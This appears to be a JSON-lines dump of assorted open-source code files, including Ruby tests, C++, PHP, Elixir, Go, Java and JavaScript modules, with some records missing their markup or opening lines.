\"http://1.2.3.4:3400/api/user_attrs/#{jim_userid}\")\n .to_return(:status => 400, :body => { \"error\" => jim_attrs_error }.to_json)\n\n stub_request(:get, \"http://1.2.3.4:3400/api/user_groups/#{jdoe_userid}\")\n .to_return(:status => 200, :body => { \"result\" => jdoe_user_groups }.to_json)\n\n stub_request(:get, \"http://1.2.3.4:3400/api/user_groups/#{jim_userid}\")\n .to_return(:status => 400, :body => { \"error\" => jim_groups_error }.to_json)\n end\n\n context \"user_attrs\" do\n it \"returns the result section of the response\" do\n expect(described_class.new.user_attrs(jdoe_userid)).to match(jdoe_user_attrs)\n end\n\n it \"converts attribute list to comma separated attributes parameter\" do\n expect(described_class.new.user_attrs(jdoe_userid, %w(givenname sn)))\n .to match(jdoe_user_attrs.slice(\"givenname\", \"sn\"))\n end\n\n it \"properly raises error messages\" do\n expect { described_class.new.user_attrs(jim_userid) }.to raise_error(jim_attrs_error)\n end\n end\n\n context \"user_groups\" do\n it \"returns the result section of the response\" do\n expect(described_class.new.user_groups(jdoe_userid)).to match(jdoe_user_groups)\n end\n\n it \"properly raises error messages\" do\n expect { described_class.new.user_groups(jim_userid) }.to raise_error(jim_groups_error)\n end\n end\nend\n"} +{"text": "I am a plain text file\n"} +{"text": "// -*- C++ -*-\n\n// Copyright (C) 2005, 2006 Free Software Foundation, Inc.\n//\n// This file is part of the GNU ISO C++ Library. This library is free\n// software; you can redistribute it and/or modify it under the terms\n// of the GNU General Public License as published by the Free Software\n// Foundation; either version 2, or (at your option) any later\n// version.\n\n// This library is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this library; see the file COPYING. If not, write to\n// the Free Software Foundation, 59 Temple Place - Suite 330, Boston,\n// MA 02111-1307, USA.\n\n// As a special exception, you may use this file as part of a free\n// software library without restriction. Specifically, if other files\n// instantiate templates or use macros or inline functions from this\n// file, or you compile this file and link it with other files to\n// produce an executable, this file does not by itself cause the\n// resulting executable to be covered by the GNU General Public\n// License. This exception does not however invalidate any other\n// reasons why the executable file might be covered by the GNU General\n// Public License.\n\n// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.\n\n// Permission to use, copy, modify, sell, and distribute this software\n// is hereby granted without fee, provided that the above copyright\n// notice appears in all copies, and that both that copyright notice\n// and this permission notice appear in supporting documentation. None\n// of the above authors, nor IBM Haifa Research Laboratories, make any\n// representation about the suitability of this software for any\n// purpose. It is provided \"as is\" without express or implied\n// warranty.\n\n/**\n * @file debug_no_store_hash_fn_imps.hpp\n * Contains implementations of gp_ht_map_'s debug-mode functions.\n */\n\n#ifdef _GLIBCXX_DEBUG\n\nPB_DS_CLASS_T_DEC\nvoid\nPB_DS_CLASS_C_DEC::\nassert_entry_array_valid(const entry_array a_entries, false_type) const\n{\n size_type iterated_num_used_e = 0;\n for (size_type pos = 0; pos < m_num_e; ++pos)\n {\n const_entry_pointer p_e = &a_entries[pos];\n switch(p_e->m_stat)\n {\n case empty_entry_status:\n case erased_entry_status:\n\t break;\n case valid_entry_status:\n\t {\n\t const_key_reference r_key = PB_DS_V2F(p_e->m_value);\n\t map_debug_base::check_key_exists(r_key);\n\t ++iterated_num_used_e;\n\t break;\n\t }\n default:\n\t _GLIBCXX_DEBUG_ASSERT(0);\n };\n }\n _GLIBCXX_DEBUG_ASSERT(iterated_num_used_e == m_num_used_e);\n}\n\n#endif \n"} +{"text": "username = $username;\n $this->password = $password;\n $this->sessionKey = $sessionKey;\n $this->session = $session;\n }\n\n /**\n * @return bool\n */\n public function isAuthenticated()\n {\n return $this->session->has($this->sessionKey);\n }\n\n /**\n * @param array $credentials\n * @return bool\n */\n public function attempt($credentials)\n {\n $valid = $this->validateCredentials($credentials);\n\n if ($valid) {\n $this->login();\n return true;\n }\n\n return false;\n }\n\n /**\n * @param array $credentials Format: ['username' => '...', 'password' => '...']\n * @return bool\n */\n protected function validateCredentials($credentials)\n {\n if (!isset($credentials['username']) || !isset($credentials['password'])) {\n return false;\n }\n\n return ($credentials['username'] === $this->username && $credentials['password'] === $this->password);\n }\n\n protected function login()\n {\n $this->session->put($this->sessionKey, true);\n }\n\n public function logout()\n {\n $this->session->forget($this->sessionKey);\n }\n}\n"} +{"text": "if Code.ensure_loaded?(Plug) do\n defmodule Guardian.Plug.Pipeline do\n @moduledoc \"\"\"\n Helps to build plug pipelines for use with Guardian and associated plugs.\n\n All Guardian provided plugs have a number of features.\n\n 1. They take a `:key` option to know where to store information in the session and connection\n 2. They require a reference to the implementation (the module that `use Guardian`)\n 3. They require a reference to an error handling module\n\n These references are passed through the connection so they must be put in place\n before the Guardian Plugs. By using a pipeline this is taken care of for you.\n\n The easiest way to use `Guardian.Plug.Pipeline` is to create a module that defines your pipeline.\n\n ```elixir\n defmodule MyApp.AuthPipeline do\n use Guardian.Plug.Pipeline, otp_app: :my_app,\n module: MyApp.Tokens,\n error_handler: MyApp.AuthErrorHandler\n\n @claims %{iss: \"IssuerApp\"}\n\n plug Guardian.Plug.VerifySession, claims: @claims\n plug Guardian.Plug.VerifyHeader, claims: @claims, realm: \"Bearer\"\n plug Guardian.Plug.EnsureAuthenticated\n plug Guardian.Plug.LoadResource, allow_blank: true\n end\n ```\n\n When you want to use the pipeline you just use it like a normal plug.\n\n ```elixir\n plug MyApp.AuthPipeline\n ```\n\n This pipeline will look for tokens in either the session (it's ok if it's not loaded)\n followed by the header if one wasn't found in the session.\n\n We then ensure that we found a token and fail if not.\n\n Given that we found a token, we then attempt to load the resource the token\n refers to, failing if one is not found.\n\n ### Customizing your pipeline\n\n Once you've created a pipeline, you can customize it when you call it with options.\n\n ```elixir\n plug MyApp.AuthPipeline, module: MyApp.ADifferentGuardianModule\n # OR\n plug MyApp.AuthPipeline, key: :impersonate\n ```\n\n ### Options\n\n You can provide options to the pipeline when you `use Guardian.Plug.Pipeline`\n or you can provide them when you call the plug.\n\n Additionally, for every option other than `:otp_app` you can use elixir\n configuration, the `use` options, or inline options.\n\n * `:otp_app` - The otp app where the pipeline modules can be found\n * `:module` - The `Guardian` implementation module\n * `:error_handler` - The error handler module\n * `:key` - The key to use\n\n ### Keys\n\n Using keys allows you to specifiy locations in the session/connection where\n the tokens and resources will be placed. This allows multiple authenticated\n tokens to be in play for a single request. This is useful for impersonation or\n higher security areas where you can have a specific set of privileges and\n still be logged in.\n\n ### Error handler\n\n When using plugs, you'll need to specify an error handler module\n\n See `Guardian.Plug.ErrorHandler` documentation for more details.\n\n ### Inline pipelines\n\n If you want to define your pipeline inline, you can do so by using\n `Guardian.Plug.Pipeline` as a plug itself.\n You _must_ supply the module and error handler inline if you do this.\n\n ```elixir\n plug Guardian.Plug.Pipeline, module: MyApp.Tokens,\n error_handler: MyApp.AuthErrorHandler\n plug Guardian.VerifyHeader, realm: \"Bearer\"\n ```\n\n Inline pipelines are also good to change the error handler that you want to use.\n\n Note that you must set the pipeline before using other guardian plugs.\n\n ```elixir\n # Use the MyApp.AuthErrorHandler for downstream Guardian plugs\n plug Guardian.Plug.Pipeline, module: MyApp.Tokens,\n error_handler: MyApp.AuthErrorHandler\n plug Guardian.VerifyHeader, realm: \"Bearer\"\n\n # Now change out the error handler for plugs downstream of this one.\n plug Guardian.Plug.Pipeline, error_handler: MyApp.SpecialAuthErrorHandler\n ```\n \"\"\"\n\n @doc \"\"\"\n Create your very own `Guardian.Plug.Pipeline`\n\n Using this macro will make your module into a plug builder.\n It will provide your pipeline with the Guardian implementation module and error\n handler so that it can be used within your pipeline and downstream.\n \"\"\"\n defmacro __using__(opts \\\\ []) do\n alias Guardian.Plug.Pipeline\n\n quote do\n use Plug.Builder\n\n import Pipeline\n\n plug(:put_modules)\n\n def init(options) do\n new_opts =\n options\n |> Keyword.merge(unquote(opts))\n |> config()\n\n unless Keyword.get(new_opts, :otp_app), do: raise_error(:otp_app)\n\n new_opts\n end\n\n defp config(opts) do\n case Keyword.get(opts, :otp_app) do\n nil ->\n opts\n\n otp_app ->\n otp_app\n |> Application.get_env(__MODULE__, [])\n |> Keyword.merge(opts)\n end\n end\n\n defp config(opts, key, default \\\\ nil) do\n unquote(opts)\n |> Keyword.merge(opts)\n |> config()\n |> Keyword.get(key)\n |> Guardian.Config.resolve_value()\n end\n\n defp put_modules(conn, opts) do\n pipeline_opts = [\n module: config(opts, :module),\n error_handler: config(opts, :error_handler),\n key: config(opts, :key, Guardian.Plug.default_key())\n ]\n\n Pipeline.call(conn, pipeline_opts)\n end\n\n @spec raise_error(atom()) :: no_return\n defp raise_error(key), do: raise(\"Config `#{key}` is missing for #{__MODULE__}\")\n end\n end\n\n import Plug.Conn\n @behaviour Plug\n\n @impl Plug\n @spec init(opts :: Keyword.t()) :: Keyword.t()\n def init(opts), do: opts\n\n @impl Plug\n @spec call(conn :: Plug.Conn.t(), opts :: Keyword.t()) :: Plug.Conn.t()\n def call(conn, opts) do\n conn\n |> maybe_put_key(:guardian_module, Keyword.get(opts, :module))\n |> maybe_put_key(:guardian_error_handler, Keyword.get(opts, :error_handler))\n |> maybe_put_key(:guardian_key, Keyword.get(opts, :key))\n end\n\n def put_key(conn, key), do: put_private(conn, :guardian_key, key)\n\n def put_module(conn, module), do: put_private(conn, :guardian_module, module)\n\n def put_error_handler(conn, module), do: put_private(conn, :guardian_error_handler, module)\n\n def current_key(conn), do: conn.private[:guardian_key]\n\n def current_module(conn), do: conn.private[:guardian_module]\n\n def current_error_handler(conn), do: conn.private[:guardian_error_handler]\n\n def fetch_key(conn, opts),\n do: Keyword.get(opts, :key, current_key(conn)) || Guardian.Plug.default_key()\n\n def fetch_module(conn, opts), do: Keyword.get(opts, :module, current_module(conn))\n\n def fetch_module!(conn, opts) do\n module = fetch_module(conn, opts)\n\n if module do\n module\n else\n raise_error(:module)\n end\n end\n\n def fetch_error_handler(conn, opts),\n do: Keyword.get(opts, :error_handler, current_error_handler(conn))\n\n def fetch_error_handler!(conn, opts) do\n module = fetch_error_handler(conn, opts)\n\n if module do\n module\n else\n raise_error(:error_handler)\n end\n end\n\n defp maybe_put_key(conn, _, nil), do: conn\n defp maybe_put_key(conn, key, v), do: put_private(conn, key, v)\n\n defp raise_error(key), do: raise(\"`#{key}` not set in Guardian pipeline\")\n end\nend\n"} +{"text": "\r\n\r\n \r\n \r\n {E89969DE-D5F1-44C5-81AF-A4283851090B}\r\n Win32Proj\r\n Avx512vnni\r\n \r\n \r\n StaticLibrary\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n _LIB;%(PreprocessorDefinitions)\r\n AdvancedVectorExtensions512\r\n \r\n \r\n Windows\r\n \r\n \r\n \r\n"} +{"text": "// Protocol Buffers for Go with Gadgets\n//\n// Copyright (c) 2013, The GoGo Authors. All rights reserved.\n// http://github.com/gogo/protobuf\n//\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n// * Redistributions of source code must retain the above copyright\n// notice, this list of conditions and the following disclaimer.\n// * Redistributions in binary form must reproduce the above\n// copyright notice, this list of conditions and the following disclaimer\n// in the documentation and/or other materials provided with the\n// distribution.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\npackage io\n\nimport (\n\t\"github.com/gogo/protobuf/proto\"\n\t\"io\"\n)\n\nfunc NewFullWriter(w io.Writer) WriteCloser {\n\treturn &fullWriter{w, nil}\n}\n\ntype fullWriter struct {\n\tw io.Writer\n\tbuffer []byte\n}\n\nfunc (this *fullWriter) WriteMsg(msg proto.Message) (err error) {\n\tvar data []byte\n\tif m, ok := msg.(marshaler); ok {\n\t\tn, ok := getSize(m)\n\t\tif !ok {\n\t\t\tdata, err = proto.Marshal(msg)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tif n >= len(this.buffer) {\n\t\t\tthis.buffer = make([]byte, n)\n\t\t}\n\t\t_, err = m.MarshalTo(this.buffer)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdata = this.buffer[:n]\n\t} else {\n\t\tdata, err = proto.Marshal(msg)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t_, err = this.w.Write(data)\n\treturn err\n}\n\nfunc (this *fullWriter) Close() error {\n\tif closer, ok := this.w.(io.Closer); ok {\n\t\treturn closer.Close()\n\t}\n\treturn nil\n}\n\ntype fullReader struct {\n\tr io.Reader\n\tbuf []byte\n}\n\nfunc NewFullReader(r io.Reader, maxSize int) ReadCloser {\n\treturn &fullReader{r, make([]byte, maxSize)}\n}\n\nfunc (this *fullReader) ReadMsg(msg proto.Message) error {\n\tlength, err := this.r.Read(this.buf)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn proto.Unmarshal(this.buf[:length], msg)\n}\n\nfunc (this *fullReader) Close() error {\n\tif closer, ok := this.r.(io.Closer); ok {\n\t\treturn closer.Close()\n\t}\n\treturn nil\n}\n"} +{"text": "parent = $parent;\n }\n\n /**\n * Get the parent Shape Group Container.\n *\n * @return SpgrContainer\n */\n public function getParent()\n {\n return $this->parent;\n }\n\n /**\n * Set whether this is a group shape.\n *\n * @param bool $value\n */\n public function setSpgr($value)\n {\n $this->spgr = $value;\n }\n\n /**\n * Get whether this is a group shape.\n *\n * @return bool\n */\n public function getSpgr()\n {\n return $this->spgr;\n }\n\n /**\n * Set the shape type.\n *\n * @param int $value\n */\n public function setSpType($value)\n {\n $this->spType = $value;\n }\n\n /**\n * Get the shape type.\n *\n * @return int\n */\n public function getSpType()\n {\n return $this->spType;\n }\n\n /**\n * Set the shape flag.\n *\n * @param int $value\n */\n public function setSpFlag($value)\n {\n $this->spFlag = $value;\n }\n\n /**\n * Get the shape flag.\n *\n * @return int\n */\n public function getSpFlag()\n {\n return $this->spFlag;\n }\n\n /**\n * Set the shape index.\n *\n * @param int $value\n */\n public function setSpId($value)\n {\n $this->spId = $value;\n }\n\n /**\n * Get the shape index.\n *\n * @return int\n */\n public function getSpId()\n {\n return $this->spId;\n }\n\n /**\n * Set an option for the Shape Group Container.\n *\n * @param int $property The number specifies the option\n * @param mixed $value\n */\n public function setOPT($property, $value)\n {\n $this->OPT[$property] = $value;\n }\n\n /**\n * Get an option for the Shape Group Container.\n *\n * @param int $property The number specifies the option\n *\n * @return mixed\n */\n public function getOPT($property)\n {\n if (isset($this->OPT[$property])) {\n return $this->OPT[$property];\n }\n\n return null;\n }\n\n /**\n * Get the collection of options.\n *\n * @return array\n */\n public function getOPTCollection()\n {\n return $this->OPT;\n }\n\n /**\n * Set cell coordinates of upper-left corner of shape.\n *\n * @param string $value eg: 'A1'\n */\n public function setStartCoordinates($value)\n {\n $this->startCoordinates = $value;\n }\n\n /**\n * Get cell coordinates of upper-left corner of shape.\n *\n * @return string\n */\n public function getStartCoordinates()\n {\n return $this->startCoordinates;\n }\n\n /**\n * Set offset in x-direction of upper-left corner of shape measured in 1/1024 of column width.\n *\n * @param int $startOffsetX\n */\n public function setStartOffsetX($startOffsetX)\n {\n $this->startOffsetX = $startOffsetX;\n }\n\n /**\n * Get offset in x-direction of upper-left corner of shape measured in 1/1024 of column width.\n *\n * @return int\n */\n public function getStartOffsetX()\n {\n return $this->startOffsetX;\n }\n\n /**\n * Set offset in y-direction of upper-left corner of shape measured in 1/256 of row height.\n *\n * @param int $startOffsetY\n */\n public function setStartOffsetY($startOffsetY)\n {\n $this->startOffsetY = $startOffsetY;\n }\n\n /**\n * Get offset in y-direction of upper-left corner of shape measured in 1/256 of row height.\n *\n * @return int\n */\n public function getStartOffsetY()\n {\n return $this->startOffsetY;\n }\n\n /**\n * Set cell coordinates of bottom-right corner of shape.\n *\n * @param string $value eg: 'A1'\n */\n public function setEndCoordinates($value)\n {\n $this->endCoordinates = $value;\n }\n\n /**\n * Get cell coordinates of bottom-right corner of shape.\n *\n * @return string\n */\n public function getEndCoordinates()\n {\n return $this->endCoordinates;\n }\n\n /**\n * Set offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width.\n *\n * @param int $endOffsetX\n */\n public function setEndOffsetX($endOffsetX)\n {\n $this->endOffsetX = $endOffsetX;\n }\n\n /**\n * Get offset in x-direction of bottom-right corner of shape measured in 1/1024 of column width.\n *\n * @return int\n */\n public function getEndOffsetX()\n {\n return $this->endOffsetX;\n }\n\n /**\n * Set offset in y-direction of bottom-right corner of shape measured in 1/256 of row height.\n *\n * @param int $endOffsetY\n */\n public function setEndOffsetY($endOffsetY)\n {\n $this->endOffsetY = $endOffsetY;\n }\n\n /**\n * Get offset in y-direction of bottom-right corner of shape measured in 1/256 of row height.\n *\n * @return int\n */\n public function getEndOffsetY()\n {\n return $this->endOffsetY;\n }\n\n /**\n * Get the nesting level of this spContainer. This is the number of spgrContainers between this spContainer and\n * the dgContainer. A value of 1 = immediately within first spgrContainer\n * Higher nesting level occurs if and only if spContainer is part of a shape group.\n *\n * @return int Nesting level\n */\n public function getNestingLevel()\n {\n $nestingLevel = 0;\n\n $parent = $this->getParent();\n while ($parent instanceof SpgrContainer) {\n ++$nestingLevel;\n $parent = $parent->getParent();\n }\n\n return $nestingLevel;\n }\n}\n"} +{"text": "/*\n * Copyright 2005-2019 Dozer Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.github.dozermapper.core.converters;\n\nimport java.time.Instant;\nimport java.time.temporal.TemporalAccessor;\nimport java.util.Date;\n\nimport org.apache.commons.beanutils.Converter;\n\n/**\n * Internal converter to {@link Instant} type. Only intended for internal use.\n */\npublic final class InstantConverter implements Converter {\n\n @Override\n public Object convert(Class destClass, Object srcObject) {\n Class srcObjectClass = srcObject.getClass();\n\n if (Date.class.isAssignableFrom(srcObjectClass)) {\n Instant instant = ((Date) srcObject).toInstant();\n return instant;\n } else if (Instant.class.isAssignableFrom(srcObjectClass)) {\n return Instant.from((Instant) srcObject);\n } else if (TemporalAccessor.class.isAssignableFrom(srcObjectClass)) {\n return Instant.from((TemporalAccessor) srcObject);\n } else if (String.class.isAssignableFrom(srcObjectClass)) {\n return Instant.parse((String) srcObject);\n } else {\n throw new ConversionException(String.format(\"Unsupported source object type: %s\", srcObjectClass), null);\n }\n }\n}\n"} +{"text": "version: 1\nn_points: 4\n{\n204.704 67.475\n204.704 268.041\n357.767 268.041\n357.767 67.475\n}\n"} +{"text": "/*\n * Copyright (C) Scott Cranton, Jakub Korab, and Christian Posta\n * https://github.com/CamelCookbook\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage org.camelcookbook.routing.dynamicrouter;\n\nimport java.util.Map;\n\nimport org.apache.camel.Exchange;\nimport org.apache.camel.ExchangeProperties;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic class MyDynamicRouter {\n private static final Logger LOG = LoggerFactory.getLogger(MyDynamicRouter.class);\n\n private static final String PROPERTY_NAME_INVOKED = \"invoked\";\n\n /**\n * Returns the next endpoint to route a message to or null to finish routing.\n * This implementation leverages Camel's\n * Bean injection\n * to pass parts of the Camel Exchange to the method for processing. This can\n * help the code be easier to maintain as it does not need the extra boilerplate\n * code for extracting the relative data from the Exchange.\n *

\n * This implementation stores an int property with the message exchange that is\n * used to drive the routing behavior. This method will be called from multiple\n * threads, one per message, so storing message specific state as a property is\n * a good strategy.\n *\n * @param body the IN message converted to a String using Camel Bean injection\n * @param properties the properties map associated with the Camel Exchange\n * @return next endpoint uri(s) to route to or null to finish routing\n */\n public String routeMe(String body, @ExchangeProperties Map properties) {\n LOG.info(\"Exchange.SLIP_ENDPOINT = {}, invoked = {}\",\n properties.get(Exchange.SLIP_ENDPOINT), properties.get(PROPERTY_NAME_INVOKED));\n\n // Store a property with the message exchange that will drive the routing\n // decisions of this Dynamic Router implementation.\n int invoked = 0;\n Object current = properties.get(PROPERTY_NAME_INVOKED); // property will be null on first call\n if (current != null) {\n invoked = Integer.valueOf(current.toString());\n }\n invoked++;\n properties.put(PROPERTY_NAME_INVOKED, invoked);\n\n if (invoked == 1) {\n return \"mock:a\";\n } else if (invoked == 2) {\n return \"mock:b,mock:c\";\n } else if (invoked == 3) {\n return \"direct:other\";\n } else if (invoked == 4) {\n return \"mock:result\";\n }\n\n // no more, so return null\n return null;\n }\n}\n"} +{"text": "'use strict'\n\nfunction id (e) { return e }\nvar prop = require('../util/prop')\n\nmodule.exports = function asyncMap (map) {\n if(!map) return id\n map = prop(map)\n var busy = false, abortCb, aborted\n return function (read) {\n return function next (abort, cb) {\n if(aborted) return cb(aborted)\n if(abort) {\n aborted = abort\n if(!busy) read(abort, cb)\n else read(abort, function () {\n //if we are still busy, wait for the mapper to complete.\n if(busy) abortCb = cb\n else cb(abort)\n })\n }\n else\n read(null, function (end, data) {\n if(end) cb(end)\n else if(aborted) cb(aborted)\n else {\n busy = true\n map(data, function (err, data) {\n busy = false\n if(aborted) {\n cb(aborted)\n abortCb(aborted)\n }\n else if(err) next (err, cb)\n else cb(null, data)\n })\n }\n })\n }\n }\n}\n\n\n"} +{"text": "\n\nA lightweight TLS API.\n\n\n"} +{"text": "/*============================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center (DKFZ)\nAll rights reserved.\n\nUse of this source code is governed by a 3-clause BSD license that can be\nfound in the LICENSE file.\n\n============================================================================*/\n\n#ifndef mitkGeometryDataSerializer_h_included\n#define mitkGeometryDataSerializer_h_included\n\n#include \"mitkBaseDataSerializer.h\"\n\nnamespace mitk\n{\n /**\n \\brief Serializes mitk::GeometryData for mitk::SceneIO.\n\n \\warning depends on mitk::GeometryDataWriterService which is first implemented only for the Geometry3D class!\n See current status of that class if you want to use other geomety types.\n */\n class GeometryDataSerializer : public BaseDataSerializer\n {\n public:\n mitkClassMacro(GeometryDataSerializer, BaseDataSerializer);\n itkFactorylessNewMacro(Self);\n itkCloneMacro(Self) std::string Serialize() override;\n\n protected:\n GeometryDataSerializer();\n ~GeometryDataSerializer() override;\n };\n\n} // namespace\n#endif\n"} +{"text": "/*\n * Copyright (c) 1997, 2001, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\n\npackage javax.swing.event;\n\nimport java.util.EventListener;\n\n/**\n * ListDataListener\n *\n * @author Hans Muller\n */\npublic interface ListDataListener extends EventListener {\n\n /**\n * Sent after the indices in the index0,index1\n * interval have been inserted in the data model.\n * The new interval includes both index0 and index1.\n *\n * @param e a ListDataEvent encapsulating the\n * event information\n */\n void intervalAdded(ListDataEvent e);\n\n\n /**\n * Sent after the indices in the index0,index1 interval\n * have been removed from the data model. The interval\n * includes both index0 and index1.\n *\n * @param e a ListDataEvent encapsulating the\n * event information\n */\n void intervalRemoved(ListDataEvent e);\n\n\n /**\n * Sent when the contents of the list has changed in a way\n * that's too complex to characterize with the previous\n * methods. For example, this is sent when an item has been\n * replaced. Index0 and index1 bracket the change.\n *\n * @param e a ListDataEvent encapsulating the\n * event information\n */\n void contentsChanged(ListDataEvent e);\n}\n"} +{"text": "(function(){\n\t'use strict';\t\t\n\t\n\t/** \n\t * Textbox Model\n\t * @constructor\n\t * @param {string} dataPath - textbox data-path attribute\n\t * @param {string} value - textbox value\n\t * @param {string} ignore - ignore characters regex (defined in javascript in control's options)\n\t * @param {string} mode: startsWith, endsWith, contains, advanced\n * @param {Array.|string} not - not operators in advanced mode\n * @param {Array.|string} and - and operators in advanced mode\n * @param {Array.|string} or - or operators in advanced mode\n\t */\n\tjQuery.fn.jplist.controls.TextboxDTO = function(dataPath, value, ignore, mode, not, and, or){\n\t\t\n\t\treturn {\n\t\t\tpath: dataPath\n\t\t\t,ignore: ignore\n\t\t\t,value: value\n\t\t\t,mode: mode\n ,not: not\n ,and: and\n ,or: or\n\t\t\t,filterType: 'TextFilter'\n\t\t};\n\t};\t\n\t\t\n})();\n\n"} +{"text": "oauth->getToken();\n\n\t\t// Set parameters.\n\t\t$parameters = array(\n\t\t\t'oauth_token' => $token['key'],\n\t\t);\n\n\t\t// Set the API base\n\t\t$base = 'user/details';\n\n\t\t// Build the request path.\n\t\t$path = $this->getOption('api.url') . $base;\n\n\t\t// Send the request.\n\t\t$response = $this->oauth->oauthRequest($path, 'GET', $parameters);\n\n\t\treturn $response->body;\n\t}\n\n\t/**\n\t * Method to get preferences\n\t *\n\t * @return array The XML response\n\t *\n\t * @since 13.1\n\t */\n\tpublic function getPreferences()\n\t{\n\t\t$token = $this->oauth->getToken();\n\n\t\t// Set parameters.\n\t\t$parameters = array(\n\t\t\t'oauth_token' => $token['key'],\n\t\t);\n\n\t\t// Set the API base\n\t\t$base = 'user/preferences';\n\n\t\t// Build the request path.\n\t\t$path = $this->getOption('api.url') . $base;\n\n\t\t// Send the request.\n\t\t$response = $this->oauth->oauthRequest($path, 'GET', $parameters);\n\n\t\treturn $response->body;\n\t}\n\n\t/**\n\t * Method to replace user preferences\n\t *\n\t * @param array $preferences Array of new preferences\n\t *\n\t * @return array The XML response\n\t *\n\t * @since 13.1\n\t */\n\tpublic function replacePreferences($preferences)\n\t{\n\t\t$token = $this->oauth->getToken();\n\n\t\t// Set parameters.\n\t\t$parameters = array(\n\t\t\t'oauth_token' => $token['key'],\n\t\t);\n\n\t\t// Set the API base\n\t\t$base = 'user/preferences';\n\n\t\t// Build the request path.\n\t\t$path = $this->getOption('api.url') . $base;\n\n\t\t// Create a list of preferences\n\t\t$preference_list = '';\n\n\t\tif (!empty($preferences))\n\t\t{\n\t\t\tforeach ($preferences as $key => $value)\n\t\t\t{\n\t\t\t\t$preference_list .= '';\n\t\t\t}\n\t\t}\n\n\t\t$xml = '\n\t\t\t\n\t\t\t\t'\n\t\t\t\t. $preference_list .\n\t\t\t\t'\n\t\t\t';\n\n\t\t$header['Content-Type'] = 'text/xml';\n\n\t\t// Send the request.\n\t\t$response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $xml, $header);\n\n\t\treturn $response->body;\n\t}\n\n\t/**\n\t * Method to change user preferences\n\t *\n\t * @param string $key Key of the preference\n\t * @param string $preference New value for preference\n\t *\n\t * @return array The XML response\n\t *\n\t * @since 13.1\n\t */\n\tpublic function changePreference($key, $preference)\n\t{\n\t\t$token = $this->oauth->getToken();\n\n\t\t// Set parameters.\n\t\t$parameters = array(\n\t\t\t'oauth_token' => $token['key'],\n\t\t);\n\n\t\t// Set the API base\n\t\t$base = 'user/preferences/' . $key;\n\n\t\t// Build the request path.\n\t\t$path = $this->getOption('api.url') . $base;\n\n\t\t// Send the request.\n\t\t$response = $this->oauth->oauthRequest($path, 'PUT', $parameters, $preference);\n\n\t\treturn $response->body;\n\t}\n}\n"} +{"text": "//>>built\ndefine(\"dijit/nls/es/loading\",({loadingState:\"Cargando...\",errorState:\"Lo siento, se ha producido un error\"}));\n"} +{"text": "\n\n \n \n \n \n\n \n \n Page Not Found | EDN Query Language\n \n \n \n \n \n
